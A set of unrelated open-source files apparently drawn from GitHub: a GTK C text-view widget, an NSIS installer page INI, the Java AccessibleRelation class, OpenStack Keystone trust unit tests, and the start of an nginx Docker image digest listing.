g_signal_connect (buffer, "changed", G_CALLBACK (text_buffer_changed_cb), self);
g_signal_connect (buffer, "notify::cursor-position",
G_CALLBACK (text_buffer_cursor_position_changed_cb), self);
gtk_text_view_set_accepts_tab (GTK_TEXT_VIEW (self->text_view), FALSE);
gtk_text_view_set_wrap_mode (GTK_TEXT_VIEW (self->text_view), GTK_WRAP_WORD_CHAR);
gtk_container_add (GTK_CONTAINER (self->scrolled_window), self->text_view);
get_link_color (self, &link_color);
gtk_text_buffer_create_tag (buffer, TAG_NO_SPELL_CHECK, NULL);
gtk_text_buffer_create_tag (buffer, "mention", "foreground-rgba", &link_color, NULL);
gtk_text_buffer_create_tag (buffer, "hashtag", "foreground-rgba", &link_color, NULL);
gtk_text_buffer_create_tag (buffer, "link", "foreground-rgba", &link_color, NULL);
gtk_text_buffer_create_tag (buffer, "snippet", "foreground-rgba", &snippet_color, NULL);
self->box = gtk_box_new (GTK_ORIENTATION_HORIZONTAL, 0);
gtk_style_context_add_class (gtk_widget_get_style_context (self->box), "dim-label");
gtk_style_context_add_class (gtk_widget_get_style_context (self->box), "extra");
gtk_widget_set_parent (self->box, GTK_WIDGET (self));
gtk_widget_hide (self->box);
gtk_style_context_add_class (gtk_widget_get_style_context (GTK_WIDGET (self)), "view");
gtk_style_context_add_class (gtk_widget_get_style_context (GTK_WIDGET (self)), "fancy");
cb_animation_init (&self->completion_show_animation, GTK_WIDGET (self), completion_animate_func);
self->completion_show_factor = 0.0;
self->completion_scroller = gtk_scrolled_window_new (NULL, NULL);
gtk_scrolled_window_set_propagate_natural_height (GTK_SCROLLED_WINDOW (self->completion_scroller),
TRUE);
gtk_style_context_add_class (gtk_widget_get_style_context (self->completion_scroller), "completion");
gtk_widget_set_parent (self->completion_scroller, GTK_WIDGET (self));
self->completion_listbox = gtk_list_box_new ();
gtk_container_add (GTK_CONTAINER (self->completion_scroller), self->completion_listbox);
self->completion_model = cb_user_completion_model_new ();
cb_utils_bind_non_gobject_model (self->completion_listbox,
G_LIST_MODEL (self->completion_model),
create_completion_row_func,
self);
/* We aren't in completion mode initially */
gtk_widget_hide (self->completion_scroller);
#ifdef SPELLCHECK
{
GspellView *gspell_view = gspell_get_from_gtk_text_view (GTK_TEXT_VIEW (self->text_view));
GspellTextBuffer *gspell_buffer;
GspellChecker *checker;
gspell_text_view_set_inline_spell_checking (gspell_view, TRUE);
gspell_text_view_set_enable_language_menu (gspell_view, TRUE);
gspell_buffer = gspell_text_buffer_get_from_gtk_text_buffer (buffer);
checker = gspell_checker_new (gspell_language_get_default ());
gspell_buffer_set_spell_checker (checker);
}
#endif
}
GtkWidget *
cb_text_view_new (void)
{
return GTK_WIDGET (g_object_new (CB_TYPE_TEXT_VIEW, NULL));
}
void
cb_text_view_set_account (CbTextView *self,
void *account)
{
g_set_object (&self->account, account);
}
void
cb_text_view_add_widget (CbTextView *self,
GtkWidget *widget)
{
gtk_container_add (GTK_CONTAINER (self->box), widget);
gtk_widget_show (self->box);
}
void
cb_text_view_insert_at_cursor (CbTextView *self,
const char *text)
{
g_return_if_fail (text != NULL);
gtk_text_buffer_insert_at_cursor (gtk_text_view_get_buffer (GTK_TEXT_VIEW (self->text_view)),
text, -1);
}
void
cb_text_view_set_text (CbTextView *self,
const char *text)
{
gtk_text_buffer_set_text (gtk_text_view_get_buffer (GTK_TEXT_VIEW (self->text_view)), text, -1);
}
char *
cb_text_view_get_text (CbTextView *self)
{
GtkTextBuffer *buffer;
GtkTextIter start_iter;
GtkTextIter end_iter;
buffer = gtk_text_view_get_buffer (GTK_TEXT_VIEW (self->text_view));
gtk_text_buffer_get_start_iter (buffer, &start_iter);
gtk_text_buffer_get_end_iter (buffer, &end_iter);
return gtk_text_buffer_get_text (buffer,
&start_iter,
&end_iter,
FALSE);
}
| {
"pile_set_name": "Github"
} |
[Settings]
NumFields=1
[Field 1]
Type=label
Text=Install Options Page B
Left=0
Right=-1
Top=0
Bottom=10 | {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 1999, 2006, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package javax.accessibility;
import java.util.Vector;
import java.util.Locale;
import java.util.MissingResourceException;
import java.util.ResourceBundle;
/**
* <P>Class AccessibleRelation describes a relation between the
* object that implements the AccessibleRelation and one or more other
* objects. The actual relations that an object has with other
* objects are defined as an AccessibleRelationSet, which is a composed
* set of AccessibleRelations.
* <p>The toDisplayString method allows you to obtain the localized string
* for a locale independent key from a predefined ResourceBundle for the
* keys defined in this class.
* <p>The constants in this class present a strongly typed enumeration
* of common object roles. If the constants in this class are not sufficient
* to describe the role of an object, a subclass should be generated
* from this class and it should provide constants in a similar manner.
*
* @author Lynn Monsanto
* @since 1.3
*/
public class AccessibleRelation extends AccessibleBundle {
/*
* The group of objects that participate in the relation.
* The relation may be one-to-one or one-to-many. For
* example, in the case of a LABEL_FOR relation, the target
* vector would contain a list of objects labeled by the object
* that implements this AccessibleRelation. In the case of a
* MEMBER_OF relation, the target vector would contain all
* of the components that are members of the same group as the
* object that implements this AccessibleRelation.
*/
private Object [] target = new Object[0];
/**
* Indicates an object is a label for one or more target objects.
*
* @see #getTarget
* @see #CONTROLLER_FOR
* @see #CONTROLLED_BY
* @see #LABELED_BY
* @see #MEMBER_OF
*/
public static final String LABEL_FOR = new String("labelFor");
/**
* Indicates an object is labeled by one or more target objects.
*
* @see #getTarget
* @see #CONTROLLER_FOR
* @see #CONTROLLED_BY
* @see #LABEL_FOR
* @see #MEMBER_OF
*/
public static final String LABELED_BY = new String("labeledBy");
/**
* Indicates an object is a member of a group of one or more
* target objects.
*
* @see #getTarget
* @see #CONTROLLER_FOR
* @see #CONTROLLED_BY
* @see #LABEL_FOR
* @see #LABELED_BY
*/
public static final String MEMBER_OF = new String("memberOf");
/**
* Indicates an object is a controller for one or more target
* objects.
*
* @see #getTarget
* @see #CONTROLLED_BY
* @see #LABEL_FOR
* @see #LABELED_BY
* @see #MEMBER_OF
*/
public static final String CONTROLLER_FOR = new String("controllerFor");
/**
* Indicates an object is controlled by one or more target
* objects.
*
* @see #getTarget
* @see #CONTROLLER_FOR
* @see #LABEL_FOR
* @see #LABELED_BY
* @see #MEMBER_OF
*/
public static final String CONTROLLED_BY = new String("controlledBy");
/**
* Indicates an object is logically contiguous with a second
* object where the second object occurs after the object.
* An example is a paragraph of text that runs to the end of
* a page and continues on the next page with an intervening
* text footer and/or text header. The two parts of
* the paragraph are separate text elements but are related
* in that the second element is a continuation
* of the first
* element. In other words, the first element "flows to"
* the second element.
*
* @since 1.5
*/
public static final String FLOWS_TO = "flowsTo";
/**
* Indicates an object is logically contiguous with a second
* object where the second object occurs before the object.
* An example is a paragraph of text that runs to the end of
* a page and continues on the next page with an intervening
* text footer and/or text header. The two parts of
* the paragraph are separate text elements but are related
* in that the second element is a continuation of the first
* element. In other words, the second element "flows from"
* the second element.
*
* @since 1.5
*/
public static final String FLOWS_FROM = "flowsFrom";
/**
* Indicates that an object is a subwindow of one or more
* objects.
*
* @since 1.5
*/
public static final String SUBWINDOW_OF = "subwindowOf";
/**
* Indicates that an object is a parent window of one or more
* objects.
*
* @since 1.5
*/
public static final String PARENT_WINDOW_OF = "parentWindowOf";
/**
* Indicates that an object has one or more objects
* embedded in it.
*
* @since 1.5
*/
public static final String EMBEDS = "embeds";
/**
* Indicates that an object is embedded in one or more
* objects.
*
* @since 1.5
*/
public static final String EMBEDDED_BY = "embeddedBy";
/**
* Indicates that an object is a child node of one
* or more objects.
*
* @since 1.5
*/
public static final String CHILD_NODE_OF = "childNodeOf";
/**
* Identifies that the target group for a label has changed
*/
public static final String LABEL_FOR_PROPERTY = "labelForProperty";
/**
* Identifies that the objects that are doing the labeling have changed
*/
public static final String LABELED_BY_PROPERTY = "labeledByProperty";
/**
* Identifies that group membership has changed.
*/
public static final String MEMBER_OF_PROPERTY = "memberOfProperty";
/**
* Identifies that the controller for the target object has changed
*/
public static final String CONTROLLER_FOR_PROPERTY = "controllerForProperty";
/**
* Identifies that the target object that is doing the controlling has
* changed
*/
public static final String CONTROLLED_BY_PROPERTY = "controlledByProperty";
/**
* Indicates the FLOWS_TO relation between two objects
* has changed.
*
* @since 1.5
*/
public static final String FLOWS_TO_PROPERTY = "flowsToProperty";
/**
* Indicates the FLOWS_FROM relation between two objects
* has changed.
*
* @since 1.5
*/
public static final String FLOWS_FROM_PROPERTY = "flowsFromProperty";
/**
* Indicates the SUBWINDOW_OF relation between two or more objects
* has changed.
*
* @since 1.5
*/
public static final String SUBWINDOW_OF_PROPERTY = "subwindowOfProperty";
/**
* Indicates the PARENT_WINDOW_OF relation between two or more objects
* has changed.
*
* @since 1.5
*/
public static final String PARENT_WINDOW_OF_PROPERTY = "parentWindowOfProperty";
/**
* Indicates the EMBEDS relation between two or more objects
* has changed.
*
* @since 1.5
*/
public static final String EMBEDS_PROPERTY = "embedsProperty";
/**
* Indicates the EMBEDDED_BY relation between two or more objects
* has changed.
*
* @since 1.5
*/
public static final String EMBEDDED_BY_PROPERTY = "embeddedByProperty";
/**
* Indicates the CHILD_NODE_OF relation between two or more objects
* has changed.
*
* @since 1.5
*/
public static final String CHILD_NODE_OF_PROPERTY = "childNodeOfProperty";
/**
* Create a new AccessibleRelation using the given locale independent key.
* The key String should be a locale independent key for the relation.
* It is not intended to be used as the actual String to display
* to the user. To get the localized string, use toDisplayString.
*
* @param key the locale independent name of the relation.
* @see AccessibleBundle#toDisplayString
*/
public AccessibleRelation(String key) {
this.key = key;
this.target = null;
}
/**
* Creates a new AccessibleRelation using the given locale independent key.
* The key String should be a locale independent key for the relation.
* It is not intended to be used as the actual String to display
* to the user. To get the localized string, use toDisplayString.
*
* @param key the locale independent name of the relation.
* @param target the target object for this relation
* @see AccessibleBundle#toDisplayString
*/
public AccessibleRelation(String key, Object target) {
this.key = key;
this.target = new Object[1];
this.target[0] = target;
}
/**
* Creates a new AccessibleRelation using the given locale independent key.
* The key String should be a locale independent key for the relation.
* It is not intended to be used as the actual String to display
* to the user. To get the localized string, use toDisplayString.
*
* @param key the locale independent name of the relation.
* @param target the target object(s) for this relation
* @see AccessibleBundle#toDisplayString
*/
public AccessibleRelation(String key, Object [] target) {
this.key = key;
this.target = target;
}
/**
* Returns the key for this relation
*
* @return the key for this relation
*
* @see #CONTROLLER_FOR
* @see #CONTROLLED_BY
* @see #LABEL_FOR
* @see #LABELED_BY
* @see #MEMBER_OF
*/
public String getKey() {
return this.key;
}
/**
* Returns the target objects for this relation
*
* @return an array containing the target objects for this relation
*/
public Object [] getTarget() {
if (target == null) {
target = new Object[0];
}
Object [] retval = new Object[target.length];
for (int i = 0; i < target.length; i++) {
retval[i] = target[i];
}
return retval;
}
/**
* Sets the target object for this relation
*
* @param target the target object for this relation
*/
public void setTarget(Object target) {
this.target = new Object[1];
this.target[0] = target;
}
/**
* Sets the target objects for this relation
*
* @param target an array containing the target objects for this relation
*/
public void setTarget(Object [] target) {
this.target = target;
}
}
| {
"pile_set_name": "Github"
} |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import datetime
import uuid
from oslo_utils import timeutils
from keystone.common import provider_api
from keystone import exception
from keystone.tests.unit import core
PROVIDERS = provider_api.ProviderAPIs
class TrustTests(object):
def create_sample_trust(self, new_id, remaining_uses=None):
self.trustor = self.user_foo
self.trustee = self.user_two
expires_at = datetime.datetime.utcnow().replace(year=2032)
trust_data = (PROVIDERS.trust_api.create_trust
(new_id,
{'trustor_user_id': self.trustor['id'],
'trustee_user_id': self.user_two['id'],
'project_id': self.project_bar['id'],
'expires_at': expires_at,
'impersonation': True,
'remaining_uses': remaining_uses},
roles=[{"id": "member"},
{"id": "other"},
{"id": "browser"}]))
return trust_data
def test_delete_trust(self):
new_id = uuid.uuid4().hex
trust_data = self.create_sample_trust(new_id)
trust_id = trust_data['id']
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.get_trust(trust_id)
self.assertEqual(new_id, trust_data['id'])
PROVIDERS.trust_api.delete_trust(trust_id)
self.assertRaises(exception.TrustNotFound,
PROVIDERS.trust_api.get_trust,
trust_id)
def test_delete_trust_not_found(self):
trust_id = uuid.uuid4().hex
self.assertRaises(exception.TrustNotFound,
PROVIDERS.trust_api.delete_trust,
trust_id)
def test_get_trust(self):
new_id = uuid.uuid4().hex
trust_data = self.create_sample_trust(new_id)
trust_id = trust_data['id']
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.get_trust(trust_id)
self.assertEqual(new_id, trust_data['id'])
PROVIDERS.trust_api.delete_trust(trust_data['id'])
def test_get_deleted_trust(self):
new_id = uuid.uuid4().hex
trust_data = self.create_sample_trust(new_id)
self.assertIsNotNone(trust_data)
self.assertIsNone(trust_data['deleted_at'])
PROVIDERS.trust_api.delete_trust(new_id)
self.assertRaises(exception.TrustNotFound,
PROVIDERS.trust_api.get_trust,
new_id)
deleted_trust = PROVIDERS.trust_api.get_trust(
trust_data['id'], deleted=True
)
self.assertEqual(trust_data['id'], deleted_trust['id'])
self.assertIsNotNone(deleted_trust.get('deleted_at'))
def test_create_trust(self):
new_id = uuid.uuid4().hex
trust_data = self.create_sample_trust(new_id)
self.assertEqual(new_id, trust_data['id'])
self.assertEqual(self.trustee['id'], trust_data['trustee_user_id'])
self.assertEqual(self.trustor['id'], trust_data['trustor_user_id'])
self.assertGreater(timeutils.normalize_time(trust_data['expires_at']),
timeutils.utcnow())
self.assertEqual([{'id': 'member'},
{'id': 'other'},
{'id': 'browser'}], trust_data['roles'])
def test_list_trust_by_trustee(self):
for i in range(3):
self.create_sample_trust(uuid.uuid4().hex)
trusts = PROVIDERS.trust_api.list_trusts_for_trustee(
self.trustee['id']
)
self.assertEqual(3, len(trusts))
self.assertEqual(trusts[0]["trustee_user_id"], self.trustee['id'])
trusts = PROVIDERS.trust_api.list_trusts_for_trustee(
self.trustor['id']
)
self.assertEqual(0, len(trusts))
def test_list_trust_by_trustor(self):
for i in range(3):
self.create_sample_trust(uuid.uuid4().hex)
trusts = PROVIDERS.trust_api.list_trusts_for_trustor(
self.trustor['id']
)
self.assertEqual(3, len(trusts))
self.assertEqual(trusts[0]["trustor_user_id"], self.trustor['id'])
trusts = PROVIDERS.trust_api.list_trusts_for_trustor(
self.trustee['id']
)
self.assertEqual(0, len(trusts))
def test_list_trusts(self):
for i in range(3):
self.create_sample_trust(uuid.uuid4().hex)
trusts = PROVIDERS.trust_api.list_trusts()
self.assertEqual(3, len(trusts))
def test_trust_has_remaining_uses_positive(self):
# create a trust with limited uses, check that we have uses left
trust_data = self.create_sample_trust(uuid.uuid4().hex,
remaining_uses=5)
self.assertEqual(5, trust_data['remaining_uses'])
# create a trust with unlimited uses, check that we have uses left
trust_data = self.create_sample_trust(uuid.uuid4().hex)
self.assertIsNone(trust_data['remaining_uses'])
def test_trust_has_remaining_uses_negative(self):
# try to create a trust with no remaining uses, check that it fails
self.assertRaises(exception.ValidationError,
self.create_sample_trust,
uuid.uuid4().hex,
remaining_uses=0)
# try to create a trust with negative remaining uses,
# check that it fails
self.assertRaises(exception.ValidationError,
self.create_sample_trust,
uuid.uuid4().hex,
remaining_uses=-12)
def test_consume_use(self):
# consume a trust repeatedly until it has no uses anymore
trust_data = self.create_sample_trust(uuid.uuid4().hex,
remaining_uses=2)
PROVIDERS.trust_api.consume_use(trust_data['id'])
t = PROVIDERS.trust_api.get_trust(trust_data['id'])
self.assertEqual(1, t['remaining_uses'])
PROVIDERS.trust_api.consume_use(trust_data['id'])
# This was the last use, the trust isn't available anymore
self.assertRaises(exception.TrustNotFound,
PROVIDERS.trust_api.get_trust,
trust_data['id'])
def test_duplicate_trusts_not_allowed(self):
self.trustor = self.user_foo
self.trustee = self.user_two
trust_data = {'trustor_user_id': self.trustor['id'],
'trustee_user_id': self.user_two['id'],
'project_id': self.project_bar['id'],
'expires_at': timeutils.parse_isotime(
'2032-02-18T18:10:00Z'),
'impersonation': True,
'remaining_uses': None}
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
PROVIDERS.trust_api.create_trust(uuid.uuid4().hex, trust_data, roles)
self.assertRaises(exception.Conflict,
PROVIDERS.trust_api.create_trust,
uuid.uuid4().hex,
trust_data,
roles)
def test_flush_expired_trusts(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=1)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
def test_flush_expired_trusts_with_all_id(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_foo['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=5)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
project_id=self.project_bar['id'],
trustor_user_id=self.user_foo['id'],
trustee_user_id=self.user_two['id'],
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref1['id'], trusts[0]['id'])
def test_flush_expired_trusts_with_no_project_id(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=1)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
trustor_user_id=self.user_foo['id'],
trustee_user_id=self.user_two['id'],
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
def test_flush_expired_trusts_with_no_trustor_id(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=1)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
project_id=self.project_bar['id'],
trustee_user_id=self.user_two['id'],
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
def test_flush_expired_trusts_with_no_trustee_id(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=1)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
project_id=self.project_bar['id'],
trustor_user_id=self.user_foo['id'],
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
def test_flush_expired_trusts_with_project_id(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.user_foo['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=5)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
project_id=self.project_bar['id'],
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
def test_flush_expired_trusts_with_trustee_id(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_foo['id'], self.user_foo['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=5)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
trustee_user_id=self.user_two['id'],
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
def test_flush_expired_trusts_with_trustor_id(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=1)
trust_ref2 = core.new_trust_ref(
self.user_two['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=5)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
trustor_user_id=self.user_foo['id'],
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
def test_non_expired_soft_deleted_trusts(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=10)
trust_ref2 = core.new_trust_ref(
self.user_two['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=5)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.delete_trust(trust_ref2['id'])
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref1['id'], trusts[0]['id'])
def test_non_expired_non_deleted_trusts(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=10)
trust_ref2 = core.new_trust_ref(
self.user_two['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=5)
trust_ref3 = core.new_trust_ref(
self.user_two['id'], self.user_foo['id'],
project_id=self.project_bar['id'])
trust_ref3['expires_at'] = None
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.delete_trust(trust_ref2['id'])
trust_data = PROVIDERS.trust_api.create_trust(trust_ref3['id'],
trust_ref3, roles)
self.assertIsNotNone(trust_data)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
date=datetime.datetime.utcnow())
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 2)
def test_flush_expired_trusts_with_date(self):
roles = [{"id": "member"},
{"id": "other"},
{"id": "browser"}]
trust_ref1 = core.new_trust_ref(
self.user_foo['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref1['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=10)
trust_ref2 = core.new_trust_ref(
self.user_two['id'], self.user_two['id'],
project_id=self.project_bar['id'])
trust_ref2['expires_at'] = \
timeutils.utcnow() + datetime.timedelta(minutes=30)
trust_ref3 = core.new_trust_ref(
self.user_two['id'], self.user_foo['id'],
project_id=self.project_bar['id'])
trust_ref3['expires_at'] = \
timeutils.utcnow() - datetime.timedelta(minutes=30)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref1['id'],
trust_ref1, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref2['id'],
trust_ref2, roles)
self.assertIsNotNone(trust_data)
trust_data = PROVIDERS.trust_api.create_trust(trust_ref3['id'],
trust_ref3, roles)
self.assertIsNotNone(trust_data)
fake_date = timeutils.utcnow() + datetime.timedelta(minutes=15)
PROVIDERS.trust_api.flush_expired_and_soft_deleted_trusts(
date=fake_date
)
trusts = self.trust_api.list_trusts()
self.assertEqual(len(trusts), 1)
self.assertEqual(trust_ref2['id'], trusts[0]['id'])
| {
"pile_set_name": "Github"
} |
vim
| {
"pile_set_name": "Github"
} |
## `nginx:1.18.0-perl`
```console
$ docker pull nginx@sha256:2b4f396a382645d9174326f62c91335c41306ccc2499ad75c402ebdd7847e0ac
```
- Manifest MIME: `application/vnd.docker.distribution.manifest.list.v2+json`
- Platforms:
- linux; amd64
- linux; arm variant v5
- linux; arm variant v7
- linux; arm64 variant v8
- linux; 386
- linux; mips64le
- linux; ppc64le
- linux; s390x
### `nginx:1.18.0-perl` - linux; amd64
```console
$ docker pull nginx@sha256:224e6dd756bbb3be25607fe83dfc731e0ab7476834340815d700934156d3232b
```
